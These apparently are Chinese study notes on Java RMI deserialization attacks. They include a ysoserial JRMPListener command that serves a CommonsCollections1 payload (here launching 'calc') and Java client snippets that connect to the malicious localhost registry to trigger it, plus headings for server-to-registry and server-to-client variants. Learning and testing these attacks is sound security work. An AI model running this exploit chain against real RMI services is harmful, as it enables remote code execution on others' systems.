基础知识
- 动态代理
- 反射
攻击方式
注册端攻击服务端
java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {
//开启一个恶意的reg,然后server去过去链接注册,则会中招
String url = "rmi://127.0.0.1:1099/setUser";
Naming.unbind(url);
}
public static void main(String[] args) {
//PS F:\tools\EXP> java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
try{
String url = "rmi://127.0.0.1:1099/exp";
User user = (User) Naming.lookup(url);
}catch(Exception e){
e.printStackTrace();
}
}
服务端攻击注册端
注册端开启
Server端利用CC1进行攻击
服务端攻击客户端
服务端将恶意类注册
客户端加载执行